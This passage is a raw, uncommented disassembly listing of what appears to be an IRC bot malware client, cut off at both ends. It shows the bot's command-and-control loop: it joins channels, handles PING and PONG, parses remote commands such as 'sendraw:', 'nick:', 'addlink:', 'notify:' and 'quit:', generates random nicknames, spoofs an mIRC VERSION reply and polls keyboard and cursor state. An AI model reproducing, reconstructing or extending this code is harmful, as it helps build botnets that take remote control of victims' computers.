[ebp+34h] mov esi, [ebp+154h] imul edi, 574h add edi, [ebp+18h] add esp, 0Ch add esi, ebx call sub_404706 mov esi, [ebp+154h] push eax add esi, ebx call sub_4046F4 push eax call sub_414C2D mov eax, [ebp+34h] imul eax, 574h add eax, [ebp+18h] push 2 call sub_414DBA loc_407CFB: ; CODE XREF: sub_407C12+36j ; sub_407C12+4Cj ... mov eax, [ebp+34h] mov ecx, [ebp+28h] push offset asc_42FF68 ; "\r\n" lea eax, [eax+eax*8] push 2 lea esi, [ecx+eax*4] pop ebx call sub_414F40 test eax, eax jnz loc_407C4D mov ecx, [ebp+34h] mov edx, [ebp+28h] mov eax, ecx imul eax, 574h add eax, [ebp+18h] lea ecx, [ecx+ecx*8] lea edi, [edx+ecx*4] push eax call sub_414EDD test eax, eax jg short loc_407CFB pop esi pop ebx loc_407D3F: ; CODE XREF: sub_407C12+2Ej pop edi loc_407D40: ; CODE XREF: sub_407C12+8j xor eax, eax inc eax pop ebp retn 2Ch sub_407C12 endp ; =============== S U B R O U T I N E ======================================= sub_407D47 proc near ; CODE XREF: sub_407A31+33p mov eax, offset loc_427D24 call sub_41E550 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ebx call sub_4099E5 xor esi, esi lea edi, [ebx+4] mov [ebp-4], esi mov [edi+4], esi mov [edi+8], esi mov [edi+0Ch], esi push 158h mov byte ptr [ebp-4], 1 call sub_41BA91 pop ecx mov [ebp-10h], eax cmp eax, esi mov byte ptr [ebp-4], 2 jz short loc_407D93 mov esi, eax call sub_407431 jmp short loc_407D95 ; --------------------------------------------------------------------------- loc_407D93: ; CODE XREF: sub_407D47+41j xor eax, eax loc_407D95: ; CODE XREF: sub_407D47+4Aj mov byte ptr [ebp-4], 1 mov [ebp-10h], eax lea esi, [ebp-10h] mov eax, edi call sub_40C2E7 mov ecx, [ebp-0Ch] pop edi pop esi mov eax, ebx pop ebx mov large fs:0, ecx leave retn 4 sub_407D47 endp ; =============== S U B R O U T I N E ======================================= sub_407DB9 proc near ; CODE XREF: .text:00407BD0p mov eax, offset loc_427EE6 call sub_41E550 push ecx push ebx push esi push edi mov edi, ecx push 0FFFFFFFFh push dword ptr [edi] call ds:dword_429128 ; WaitForSingleObject mov ebx, [edi+8] mov eax, [edi+0Ch] cmp ebx, eax jz short loc_407E10 loc_407DDD: ; CODE XREF: sub_407DB9+55j lea eax, [edi+4] call sub_408AF0 cmp eax, 1 jbe short loc_407E10 mov esi, [ebx] cmp dword ptr [esi+48h], 0 jg short loc_407E08 call sub_4151B4 push ebx lea ebx, [ebp-10h] lea esi, [edi+4] call sub_408B03 mov ebx, [edi+8] jmp short loc_407E0B ; --------------------------------------------------------------------------- loc_407E08: ; CODE XREF: sub_407DB9+37j add ebx, 4 loc_407E0B: ; CODE XREF: sub_407DB9+4Dj cmp ebx, [edi+0Ch] jnz short loc_407DDD loc_407E10: ; CODE XREF: sub_407DB9+22j ; sub_407DB9+2Fj mov esi, [edi+8] cmp esi, [edi+0Ch] jz short loc_407E8F loc_407E18: ; CODE XREF: sub_407DB9+75j mov eax, [ebp+8] mov ebx, [esi] call sub_41520F test eax, eax jnz short loc_407E4F mov eax, [edi+0Ch] add esi, 4 cmp esi, eax jnz short loc_407E18 push 158h call sub_41BA91 pop ecx mov [ebp-10h], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_407E5B mov esi, eax call sub_407431 jmp short loc_407E5D ; --------------------------------------------------------------------------- loc_407E4F: ; CODE XREF: sub_407DB9+6Bj push dword ptr [edi] call ds:dword_429138 ; ReleaseMutex mov eax, [esi] jmp short loc_407E8F ; --------------------------------------------------------------------------- loc_407E5B: ; CODE XREF: sub_407DB9+8Bj xor eax, eax loc_407E5D: ; CODE XREF: sub_407DB9+94j or dword ptr [ebp-4], 0FFFFFFFFh mov [ebp-10h], eax lea eax, [edi+4] lea esi, [ebp-10h] call sub_40C2E7 mov ecx, [edi+0Ch] mov eax, [ebp+8] sub ecx, 4 mov ebx, [ecx] call sub_41520F push dword ptr [edi] call ds:dword_429138 ; ReleaseMutex mov edi, [edi+0Ch] sub edi, 4 mov eax, [edi] loc_407E8F: ; CODE XREF: sub_407DB9+5Dj ; sub_407DB9+A0j mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_407DB9 endp ; =============== S U B R O U T I N E ======================================= sub_407EA0 proc near ; CODE XREF: sub_4140D0+169p arg_0 = dword ptr 4 sub eax, [esp+arg_0] sar eax, 2 shl eax, 2 push eax push [esp+4+arg_0] sub ecx, eax push ecx call sub_41BFA0 add esp, 0Ch retn sub_407EA0 endp ; =============== S U B R O U T I N E ======================================= sub_407EBB proc near ; CODE XREF: sub_427FA5+6p or dword ptr [edi+0Ch], 0FFFFFFFFh xor eax, eax push esi lea esi, [edi+10h] mov [edi+4], eax mov dword ptr [edi], offset off_430230 mov [esi], eax mov [esi+4], eax mov [esi+8], eax call sub_416B0E mov esi, edi call sub_416AC4 mov eax, edi pop esi retn sub_407EBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_407EE6 proc near ; DATA XREF: .text:off_430230o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi xor edi, edi mov [ebp+var_4], ecx xor ebx, ebx loc_407EF6: ; CODE XREF: sub_407EE6+63j xor esi, esi loc_407EF8: ; CODE XREF: sub_407EE6+24j push esi call ds:dword_429234 ; GetAsyncKeyState test al, 1 jnz short loc_407F0E inc esi cmp esi, 100h jb short loc_407EF8 jmp short loc_407F19 ; --------------------------------------------------------------------------- loc_407F0E: ; CODE XREF: sub_407EE6+1Bj mov esi, [ebp+var_4] add esi, 10h call sub_416B0E loc_407F19: ; CODE XREF: sub_407EE6+26j lea eax, [ebp+var_C] push eax call ds:dword_429238 ; GetCursorPos cmp [ebp+var_C], edi jz short loc_407F38 cmp [ebp+var_8], ebx jz short loc_407F38 mov esi, [ebp+var_4] add esi, 10h call sub_416B0E loc_407F38: ; CODE XREF: sub_407EE6+40j ; sub_407EE6+45j mov edi, [ebp+var_C] mov ebx, [ebp+var_8] push 3E8h call ds:dword_429084 ; Sleep jmp short loc_407EF6 sub_407EE6 endp ; =============== S U B R O U T I N E ======================================= sub_407F4B proc near ; CODE XREF: sub_427FBD+5p xor ecx, ecx mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn sub_407F4B endp ; =============== S U B R O U T I N E ======================================= sub_407F57 proc near ; CODE XREF: sub_40F423+ACp arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push 0FFFFFFFFh push ds:dword_438150 call ds:dword_429128 ; WaitForSingleObject mov eax, [esp+4+arg_0] lea esi, [esp+4+arg_4] call sub_413F72 push ds:dword_438150 call ds:dword_429138 ; ReleaseMutex pop esi retn 8 sub_407F57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F83 proc near ; CODE XREF: sub_40818D+1Bp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push 0FFFFFFFFh push ds:dword_438150 mov esi, eax call ds:dword_429128 ; WaitForSingleObject mov ecx, [esi+8] mov eax, [esi+4] jmp short loc_407FAA ; --------------------------------------------------------------------------- loc_407FA0: ; CODE XREF: sub_407F83+29j mov edx, [eax] cmp edx, [ebp+arg_0] jz short loc_407FAE add eax, 4 loc_407FAA: ; CODE XREF: sub_407F83+1Bj cmp eax, ecx jnz short loc_407FA0 loc_407FAE: ; CODE XREF: sub_407F83+22j push eax lea ebx, [ebp+arg_0] call sub_408B03 push ds:dword_438150 call ds:dword_429138 ; ReleaseMutex pop esi pop ebx pop ebp retn 4 sub_407F83 endp ; =============== S U B R O U T I N E ======================================= sub_407FC9 proc near ; CODE XREF: sub_40F3A7+1Dp arg_0 = dword ptr 4 push esi push 0FFFFFFFFh push ds:dword_438150 call ds:dword_429128 ; WaitForSingleObject mov eax, edi xor esi, esi call sub_408AF0 test eax, eax jbe short loc_408002 loc_407FE5: ; CODE XREF: sub_407FC9+37j mov eax, [edi+4] push [esp+4+arg_0] lea eax, [eax+esi*4] mov eax, [eax] call sub_408A3E mov eax, edi inc esi call sub_408AF0 cmp esi, eax jb short loc_407FE5 loc_408002: ; CODE XREF: sub_407FC9+1Aj push ds:dword_438150 call ds:dword_429138 ; ReleaseMutex pop esi retn 4 sub_407FC9 endp ; =============== S U B R O U T I N E ======================================= sub_408012 proc near ; CODE XREF: sub_404E2C+3Ep ; sub_40F3E7+1Ap ... arg_0 = dword ptr 4 push edi push 0FFFFFFFFh push ds:dword_438150 call ds:dword_429128 ; WaitForSingleObject mov eax, ebx xor edi, edi call sub_408AF0 test eax, eax jbe short loc_40804D push esi loc_40802F: ; CODE XREF: sub_408012+38j mov eax, [ebx+4] push [esp+8+arg_0] lea eax, [eax+edi*4] mov esi, [eax] call sub_408A6A mov eax, ebx inc edi call sub_408AF0 cmp edi, eax jb short loc_40802F pop esi loc_40804D: ; CODE XREF: sub_408012+1Aj push ds:dword_438150 call ds:dword_429138 ; ReleaseMutex pop edi retn 4 sub_408012 endp ; =============== S U B R O U T I N E ======================================= sub_40805D proc near ; CODE XREF: sub_40F423+9Dp mov eax, offset loc_427A2D call sub_41E550 push ebx mov ebx, [ebp+8] and dword ptr [ebx+4], 0 or dword ptr [ebx+0Ch], 0FFFFFFFFh push esi push edi and dword ptr [ebp-4], 0 lea esi, [ebx+470h] mov dword ptr [ebx], offset off_43023C call sub_414878 lea eax, [ebx+9E4h] call sub_414E89 lea esi, [ebx+0A08h] call sub_414878 mov edi, 400h lea esi, [ebx+9E4h] call sub_414EC6 mov esi, 100h push esi push dword ptr [ebp+0Ch] lea eax, [ebx+20h] push eax call sub_41C5A0 push 40h push dword ptr [ebp+14h] lea eax, [ebx+122h] push eax call sub_41C5A0 push 20h push dword ptr [ebp+18h] lea eax, [ebx+162h] push eax call sub_41C5A0 push 20h push dword ptr [ebp+1Ch] lea eax, [ebx+1A2h] push eax call sub_41C5A0 push 40h push dword ptr [ebp+20h] lea eax, [ebx+1E2h] push eax call sub_41C5A0 push esi push dword ptr [ebp+24h] lea eax, [ebx+262h] push eax call sub_41C5A0 add esp, 48h push dword ptr [ebp+1Ch] lea edi, [ebx+1C2h] call sub_40892A push dword ptr [ebp+20h] lea edi, [ebx+222h] call sub_40892A mov ax, [ebp+10h] mov [ebx+120h], ax xor eax, eax mov esi, ebx mov [ebx+464h], eax mov [ebx+1Ch], eax mov [ebx+468h], eax mov [ebx+46Ch], eax call sub_416AC4 mov ecx, [ebp-0Ch] pop edi pop esi mov eax, ebx pop ebx mov large fs:0, ecx leave retn 20h sub_40805D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_408171 proc near ; DATA XREF: .text:00430240o arg_0 = byte ptr 4 push edi mov edi, ecx call sub_40818D test [esp+4+arg_0], 1 jz short loc_408187 push edi call sub_41C7B8 pop ecx loc_408187: ; CODE XREF: sub_408171+Dj mov eax, edi pop edi retn 4 sub_408171 endp ; =============== S U B R O U T I N E ======================================= sub_40818D proc near ; CODE XREF: sub_408171+3p push esi push 0FFFFFFFFh mov dword ptr [edi], offset off_43023C push ds:dword_438150 call ds:dword_429128 ; WaitForSingleObject push edi mov eax, offset dword_438154 call sub_407F83 push ds:dword_438150 call ds:dword_429138 ; ReleaseMutex push 3 lea eax, [edi+470h] call sub_414D44 push 3 lea eax, [edi+0A08h] call sub_414D44 lea esi, [edi+9E4h] call sub_414EA3 mov ecx, edi pop esi jmp sub_416AA6 sub_40818D endp ; --------------------------------------------------------------------------- loc_4081E6: ; DATA XREF: .text:off_43023Co mov eax, offset loc_427F40 call sub_41E550 sub esp, 0DF0h push ebx push esi push edi mov edi, ecx lea esi, [edi+0A08h] xor ecx, ecx inc ecx mov eax, esi mov [ebp-10h], edi mov [ebp-28h], esi call sub_4148AA push 8 pop ebx call sub_414AE0 mov ax, 71h mov ecx, esi call sub_414997 lea esi, [ebp-44h] call sub_405E63 push offset aNull_1 ; "null" push 6 xor ebx, ebx push 71h mov eax, esi mov [ebp-4], ebx call sub_405EF4 mov eax, [ebp-28h] push 1 call sub_414A0C lea esi, [edi+20h] mov [ebp-38h], esi jmp short loc_408274 ; --------------------------------------------------------------------------- loc_408253: ; CODE XREF: .text:00408288j push 1388h call ds:dword_429084 ; Sleep mov eax, [edi+468h] cmp eax, 3 jnb loc_40890F inc eax mov [edi+468h], eax loc_408274: ; CODE XREF: .text:00408251j xor eax, eax mov ax, [edi+120h] push eax mov eax, edi push esi call sub_408A8C test eax, eax jz short loc_408253 mov eax, [edi+8DCh] mov [ebp-5Ch], eax mov eax, [edi+0E74h] mov dword ptr [ebp-3Ch], 1 mov [ebp-54h], ebx mov [ebp-50h], ebx mov [ebp-4Ch], ebx mov [ebp-58h], eax jmp short loc_4082B1 ; --------------------------------------------------------------------------- loc_4082AE: ; CODE XREF: .text:004087ECj ; .text:0040886Dj ... mov edi, [ebp-10h] loc_4082B1: ; CODE XREF: .text:004082ACj ; .text:004082D0j ... xor esi, esi push esi push 0FFFFFFFFh push esi lea eax, [ebp-5Ch] push eax xor eax, eax cmp [ebp-3Ch], esi setnz al inc eax push eax call ds:dword_4292CC ; WSAWaitForMultipleEvents cmp eax, 102h jz short loc_4082B1 cmp eax, esi jnz loc_408872 lea ebx, [edi+470h] lea eax, [ebp-88h] push eax mov edi, ebx mov [ebp-18h], ebx call sub_414C04 test byte ptr [ebp-88h], 1 mov esi, [ebp-10h] jz loc_408782 lea edi, [esi+9E4h] push ebx mov [ebp-30h], edi call sub_414EDD test eax, eax jle loc_408782 jmp loc_408756 ; --------------------------------------------------------------------------- loc_40831D: ; CODE XREF: .text:00408768j mov ecx, [ebp-30h] mov eax, [ecx] xor ebx, ebx cmp byte ptr [eax], 3Ah mov [ebp-1Ch], ebx mov [ebp-24h], ebx mov [ebp-34h], ebx jnz short loc_40833B mov [eax], bl mov edi, [ecx] mov [ebp-2Ch], edi jmp short loc_40834D ; --------------------------------------------------------------------------- loc_40833B: ; CODE XREF: .text:00408330j push offset asc_43015C ; ":" push eax call sub_41CE46 pop ecx pop ecx mov [ebp-2Ch], eax mov edi, eax loc_40834D: ; CODE XREF: .text:00408339j cmp edi, ebx jz loc_408756 mov esi, offset asc_42FFF4 ; " " push esi push edi call sub_41C350 pop ecx lea eax, [eax+edi+1] push eax call sub_41CE46 test eax, eax pop ecx pop ecx mov [ebp-20h], eax jz short loc_408389 push esi push 0 call sub_41CE46 pop ecx pop ecx mov [ebp-1Ch], eax mov edi, offset aNull_2 ; "(null)" jmp short loc_408391 ; --------------------------------------------------------------------------- loc_408389: ; CODE XREF: .text:00408373j mov edi, offset aNull_2 ; "(null)" mov [ebp-20h], edi loc_408391: ; CODE XREF: .text:00408387j cmp dword ptr [ebp-1Ch], 0 jz short loc_4083A6 push esi push 0 call sub_41CE46 pop ecx pop ecx mov [ebp-24h], eax jmp short loc_4083A9 ; --------------------------------------------------------------------------- loc_4083A6: ; CODE XREF: .text:00408395j mov [ebp-1Ch], edi loc_4083A9: ; CODE XREF: .text:004083A4j mov esi, [ebp-24h] test esi, esi jz short loc_4083C2 push esi call sub_41C350 lea eax, [eax+esi+2] pop ecx mov [ebp-14h], eax mov ebx, eax jmp short loc_4083C5 ; --------------------------------------------------------------------------- loc_4083C2: ; CODE XREF: .text:004083AEj mov [ebp-24h], edi loc_4083C5: ; CODE XREF: .text:004083C0j test ebx, ebx jnz short loc_4083CE mov [ebp-14h], edi mov ebx, edi loc_4083CE: ; CODE XREF: .text:004083C7j cmp dword ptr [ebp-20h], 0 jz short loc_40841C push 400h push dword ptr [ebp-20h] lea eax, [ebp-0DFCh] push eax call sub_41C5A0 lea eax, [ebp-0DFCh] push offset asc_43036C ; "!" push eax call sub_41CE46 add esp, 14h test eax, eax mov [ebp-34h], eax jz short loc_40841C push offset a@ ; "@" push 0 call sub_41CE46 test eax, eax pop ecx pop ecx jz short loc_40841C push eax call sub_41C350 pop ecx loc_40841C: ; CODE XREF: .text:004083D2j ; .text:00408401j ... push offset a376 ; "376" push dword ptr [ebp-1Ch] call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_40847A push offset a422 ; "422" push dword ptr [ebp-1Ch] call sub_41C730 test eax, eax pop ecx pop ecx jz short loc_40847A push offset a433 ; "433" push dword ptr [ebp-1Ch] call sub_41C730 test eax, eax mov esi, [ebp-10h] pop ecx pop ecx jnz short loc_40849C lea eax, [esi+162h] lea edi, [esi+182h] push eax call sub_40892A mov edi, [ebp-18h] push eax push offset aNickS ; "NICK %s\r\n" call sub_414CA6 jmp short loc_40849A ; --------------------------------------------------------------------------- loc_40847A: ; CODE XREF: .text:0040842Dj ; .text:00408440j mov eax, [ebp-10h] mov edi, [ebp-18h] mov dword ptr [eax+10h], 1 add eax, 122h push eax push offset aJoinS ; "JOIN %s\r\n" call sub_414CA6 mov esi, [ebp-10h] loc_40849A: ; CODE XREF: .text:00408478j pop ecx pop ecx loc_40849C: ; CODE XREF: .text:00408456j push offset aPing ; "PING " push dword ptr [ebp-2Ch] call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_4084C3 push dword ptr [ebp-20h] mov edi, [ebp-18h] push offset aPongS ; "PONG :%s\r\n" call sub_414CA6 pop ecx pop ecx jmp short loc_4084FB ; --------------------------------------------------------------------------- loc_4084C3: ; CODE XREF: .text:004084ADj push offset aError ; "ERROR " push dword ptr [ebp-2Ch] call sub_41C730 test eax, eax pop ecx pop ecx jnz short loc_4084FB mov eax, [ebp-18h] xor edi, edi push 2 mov [esi+14h], edi mov [esi+10h], edi call sub_414DBA mov dword ptr [ebp-4Ch], 1388h call ds:dword_4290A8 ; GetTickCount mov [ebp-54h], eax mov [ebp-50h], edi loc_4084FB: ; CODE XREF: .text:004084C1j ; .text:004084D4j push offset aPrivmsg ; "PRIVMSG" push dword ptr [ebp-1Ch] call sub_41C730 test eax, eax pop ecx pop ecx jnz loc_4086E9 mov eax, [ebp-20h] lea ecx, [esi+262h] call loc_416FDE test eax, eax jz loc_4086E9 mov edi, offset aQuit ; "quit:" push edi call sub_41C350 dec eax push eax push edi push ebx call sub_41D5B0 add esp, 10h test eax, eax jz loc_408900 mov edi, offset aSendraw ; "sendraw:" push edi call sub_41C350 dec eax push eax push edi push ebx call sub_41D5B0 add esp, 10h test eax, eax jnz short loc_408580 push edi call sub_41C350 mov edi, [ebp-18h] add ebx, eax push ebx push offset aS_1 ; "%s\r\n" call sub_414CA6 add esp, 0Ch jmp loc_4086E9 ; --------------------------------------------------------------------------- loc_408580: ; CODE XREF: .text:00408560j mov edi, offset aNick ; "nick:" push edi call sub_41C350 dec eax push eax push edi push ebx call sub_41D5B0 add esp, 10h test eax, eax jnz short loc_4085DE push edi call sub_41C350 add ebx, eax mov [ebp-14h], ebx push 20h push dword ptr [ebp-14h] lea ebx, [esi+162h] push ebx call sub_41C5A0 add esp, 10h lea edi, [esi+182h] push ebx call sub_40892A mov edi, [ebp-18h] push eax push offset aNickS ; "NICK %s\r\n" call sub_414CA6 pop ecx pop ecx loc_4085D6: ; CODE XREF: .text:004086B0j mov ebx, [ebp-14h] jmp loc_4086E9 ; --------------------------------------------------------------------------- loc_4085DE: ; CODE XREF: .text:00408599j mov edi, offset aAddlink ; "addlink:" push edi call sub_41C350 dec eax push eax push edi push ebx call sub_41D5B0 add esp, 10h test eax, eax jnz short loc_40860E push edi call sub_41C350 add ebx, eax push ebx call sub_408F96 pop ecx pop ecx jmp loc_4086E9 ; --------------------------------------------------------------------------- loc_40860E: ; CODE XREF: .text:004085F7j mov edi, offset aNotify ; "notify:" push edi call sub_41C350 dec eax push eax push edi push ebx call sub_41D5B0 add esp, 10h test eax, eax jnz loc_4086B5 push edi call sub_41C350 add ebx, eax mov edi, 100h mov [ebp-14h], ebx push edi push dword ptr [ebp-14h] lea ebx, [esi+362h] push ebx call sub_41C5A0 push offset aThis ; "this" push ebx call sub_426D1E add esp, 18h test eax, eax jnz short loc_40868F mov ecx, [ebp-24h] mov al, [ecx] cmp al, 26h jz short loc_40868B cmp al, 23h jz short loc_40868B cmp al, 21h jz short loc_40868B cmp al, 2Bh jz short loc_40868B cmp al, 2Eh jz short loc_40868B cmp al, 7Eh jz short loc_40868B push edi push dword ptr [ebp-34h] loc_408680: ; CODE XREF: .text:0040868Dj push ebx call sub_41C5A0 add esp, 0Ch jmp short loc_4086A6 ; --------------------------------------------------------------------------- loc_40868B: ; CODE XREF: .text:00408666j ; .text:0040866Aj ... push edi push ecx jmp short loc_408680 ; --------------------------------------------------------------------------- loc_40868F: ; CODE XREF: .text:0040865Dj push offset off_4302DC push ebx call sub_426D1E test eax, eax pop ecx pop ecx jnz short loc_4086A6 and [esi+464h], eax loc_4086A6: ; CODE XREF: .text:00408689j ; .text:0040869Ej mov dword ptr [esi+464h], 1 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_4086B5: ; CODE XREF: .text:00408627j push 18h call sub_41BA91 pop ecx mov [ebp-24h], eax test eax, eax mov byte ptr [ebp-4], 1 jz short loc_4086D3 push ebx push eax call sub_411299 mov esi, eax jmp short loc_4086D5 ; --------------------------------------------------------------------------- loc_4086D3: ; CODE XREF: .text:004086C6j xor esi, esi loc_4086D5: ; CODE XREF: .text:004086D1j mov byte ptr [ebp-4], 0 call sub_416AC4 push esi mov edi, offset dword_4381B8 call sub_4138D7 loc_4086E9: ; CODE XREF: .text:0040850Cj ; .text:00408522j ... cmp byte ptr [ebx], 1 jnz short loc_408756 push ebx call sub_41C350 cmp byte ptr [eax+ebx-1], 1 pop ecx jnz short loc_408756 push ebx call sub_41C350 dec eax push eax lea eax, [ebx+1] push eax lea eax, [ebp-488h] push eax call sub_41C5A0 push ebx call sub_41C350 lea ecx, [ebp-488h] dec ecx dec ecx mov byte ptr [eax+ecx], 0 lea eax, [ebp-488h] push offset aVersion ; "VERSION" push eax call sub_41C730 add esp, 1Ch test eax, eax jnz short loc_408756 mov edi, [ebp-18h] push offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" push dword ptr [ebp-34h] push offset dword_4302A0 call sub_414CA6 add esp, 0Ch loc_408756: ; CODE XREF: .text:00408318j ; .text:0040834Fj ... mov esi, [ebp-30h] push offset asc_42FF68 ; "\r\n" push 2 pop ebx call sub_414F40 test eax, eax jnz loc_40831D push dword ptr [ebp-18h] mov edi, esi call sub_414EDD test eax, eax jg short loc_408756 mov esi, [ebp-10h] mov ebx, [ebp-18h] loc_408782: ; CODE XREF: .text:004082FBj ; .text:00408312j test byte ptr [ebp-88h], 2 jz short loc_4087D9 cmp dword ptr [esi+18h], 0 jnz short loc_4087D9 lea eax, [esi+222h] push eax push dword ptr [ebp-38h] lea eax, [esi+1C2h] push eax push offset aUserSSS ; "USER %s \"\" \"%s\" :%s\r\n" mov edi, ebx call sub_414CA6 add esp, 10h lea eax, [esi+162h] lea edi, [esi+182h] push eax call sub_40892A push eax push offset aNickS ; "NICK %s\r\n" mov edi, ebx call sub_414CA6 pop ecx pop ecx mov dword ptr [esi+18h], 1 loc_4087D9: ; CODE XREF: .text:00408789j ; .text:0040878Fj test byte ptr [ebp-88h], 20h jnz short loc_4087F5 lea eax, [ebp-54h] call sub_416B46 test eax, eax jz loc_4082AE mov esi, [ebp-10h] loc_4087F5: ; CODE XREF: .text:004087E0j xor ecx, ecx lea eax, [esi+46Ch] inc dword ptr [eax] cmp dword ptr [eax], 5 mov [ebp-4Ch], ecx mov [esi+14h], ecx mov [esi+10h], ecx jnb loc_40890F cmp [esi+1Ch], ecx jnz loc_40890F push 0EA60h call ds:dword_429084 ; Sleep xor eax, eax mov ax, [esi+120h] push eax mov eax, esi jmp short loc_408861 ; --------------------------------------------------------------------------- loc_408833: ; CODE XREF: .text:0040886Bj push 1388h call ds:dword_429084 ; Sleep mov eax, [ebp-10h] mov ecx, [eax+468h] cmp ecx, 3 jnb loc_40890F inc ecx mov [eax+468h], ecx xor ecx, ecx mov cx, [eax+120h] push ecx loc_408861: ; CODE XREF: .text:00408831j push dword ptr [ebp-38h] call sub_408A8C test eax, eax jz short loc_408833 jmp loc_4082AE ; --------------------------------------------------------------------------- loc_408872: ; CODE XREF: .text:004082D4j cmp eax, 1 jnz loc_4082B1 mov edi, [ebp-28h] lea eax, [ebp-88h] push eax call sub_414C04 test byte ptr [ebp-88h], 8 jz loc_4082AE lea esi, [ebp-9FCh] call sub_414878 push edi lea esi, [ebp-9FCh] call sub_414A1F mov eax, [ebp-10h] lea esi, [eax+470h] add eax, 1C2h push eax push esi call sub_414B68 movzx eax, ax push eax push esi call sub_414BCD movzx eax, ax push eax push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s" lea edi, [ebp-9FCh] call sub_414CA6 add esp, 10h push 3 mov eax, edi call sub_414D44 mov eax, [ebp-28h] push 3 call sub_414D44 and dword ptr [ebp-3Ch], 0 jmp loc_4082AE ; --------------------------------------------------------------------------- loc_408900: ; CODE XREF: .text:00408541j push edi call sub_41C350 pop ecx add ebx, eax push ebx call sub_408A6A loc_40890F: ; CODE XREF: .text:00408267j ; .text:0040880Bj ... or dword ptr [ebp-4], 0FFFFFFFFh lea esi, [ebp-44h] call sub_405EDB mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn ; =============== S U B R O U T I N E ======================================= sub_40892A proc near ; CODE XREF: sub_40805D+C5p ; sub_40805D+D3p ... arg_0 = dword ptr 4 push ebx push ebp push [esp+8+arg_0] push edi call sub_41C930 push edi xor ebp, ebp xor ebx, ebx call sub_41C350 add esp, 0Ch test eax, eax jbe loc_4089ED push esi loc_40894C: ; CODE XREF: sub_40892A+BCj lea esi, [ebx+edi] movsx eax, byte ptr [esi] sub eax, 23h jz short loc_4089CF sub eax, 3 jz loc_408A00 sub eax, 4 jz short loc_4089BB dec eax jz short loc_4089AD sub eax, 11h jz loc_4089FA dec eax dec eax jz short loc_4089F4 sub eax, 40h jnz short loc_4089DC push 4 push ebp call sub_40D864 sub eax, ebp pop ecx pop ecx jz short loc_4089A8 dec eax jz short loc_4089A3 dec eax jz short loc_40899E dec eax jz short loc_408999 dec eax jnz short loc_4089DC mov byte ptr [esi], 75h jmp short loc_4089DC ; --------------------------------------------------------------------------- loc_408999: ; CODE XREF: sub_40892A+65j mov byte ptr [esi], 6Fh jmp short loc_4089DC ; --------------------------------------------------------------------------- loc_40899E: ; CODE XREF: sub_40892A+62j mov byte ptr [esi], 69h jmp short loc_4089DC ; --------------------------------------------------------------------------- loc_4089A3: ; CODE XREF: sub_40892A+5Fj mov byte ptr [esi], 65h jmp short loc_4089DC ; --------------------------------------------------------------------------- loc_4089A8: ; CODE XREF: sub_40892A+5Cj mov byte ptr [esi], 61h jmp short loc_4089DC ; --------------------------------------------------------------------------- loc_4089AD: ; CODE XREF: sub_40892A+3Cj push 1 push ebp call sub_40D864 pop ecx pop ecx sub eax, ebp jmp short loc_4089CA ; --------------------------------------------------------------------------- loc_4089BB: ; CODE XREF: sub_40892A+39j push 2 push ebp call sub_40D864 sub eax, ebp pop ecx pop ecx jz short loc_4089FA dec eax loc_4089CA: ; CODE XREF: sub_40892A+8Fj jz short loc_4089F4 dec eax jnz short loc_4089DC loc_4089CF: ; CODE XREF: sub_40892A+2Bj push 39h push 30h loc_4089D3: ; CODE XREF: sub_40892A+CEj ; sub_40892A+D4j call sub_40D864 pop ecx pop ecx mov [esi], al loc_4089DC: ; CODE XREF: sub_40892A+4Ej ; sub_40892A+68j ... push edi inc ebx call sub_41C350 cmp ebx, eax pop ecx jb loc_40894C pop esi loc_4089ED: ; CODE XREF: sub_40892A+1Bj pop ebp mov eax, edi pop ebx retn 4 ; --------------------------------------------------------------------------- loc_4089F4: ; CODE XREF: sub_40892A+49j ; sub_40892A:loc_4089CAj push 5Ah push 41h jmp short loc_4089D3 ; --------------------------------------------------------------------------- loc_4089FA: ; CODE XREF: sub_40892A+41j ; sub_40892A+9Dj push 7Ah push 61h jmp short loc_4089D3 ; --------------------------------------------------------------------------- loc_408A00: ; CODE XREF: sub_40892A+30j push 2 lea eax, [ebx+edi+1] push offset aCn ; "cn" push eax call sub_41D5B0 add esp, 0Ch test eax, eax jnz short loc_4089DC push 4 lea eax, [esp+10h+arg_0] push eax push 7 push 800h call ds:dword_42907C ; GetLocaleInfoA push 3 lea eax, [esp+10h+arg_0] push eax push esi call sub_41C5A0 add esp, 0Ch jmp short loc_4089DC sub_40892A endp ; =============== S U B R O U T I N E ======================================= sub_408A3E proc near ; CODE XREF: sub_407FC9+28p arg_0 = dword ptr 4 cmp dword ptr [eax+464h], 0 jz short locret_408A67 push edi push [esp+4+arg_0] lea ecx, [eax+362h] push ecx push offset aPrivmsgSS ; "PRIVMSG %s :%s\r\n" lea edi, [eax+470h] call sub_414CA6 add esp, 0Ch pop edi locret_408A67: ; CODE XREF: sub_408A3E+7j retn 4 sub_408A3E endp ; =============== S U B R O U T I N E ======================================= sub_408A6A proc near ; CODE XREF: sub_408012+29p ; .text:0040890Ap arg_0 = dword ptr 4 push edi push [esp+4+arg_0] lea edi, [esi+470h] push offset dword_430248 call sub_414CA6 pop ecx pop ecx mov dword ptr [esi+1Ch], 1 pop edi retn 4 sub_408A6A endp ; =============== S U B R O U T I N E ======================================= sub_408A8C proc near ; CODE XREF: .text:00408281p ; .text:00408864p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, eax push edi xor eax, eax xor edi, edi mov [ebx+14h], eax mov [ebx+18h], eax mov [ebx+10h], eax lea esi, [ebx+470h] inc edi push edi mov eax, esi call sub_414D44 mov ecx, edi mov eax, esi call sub_4148AA push 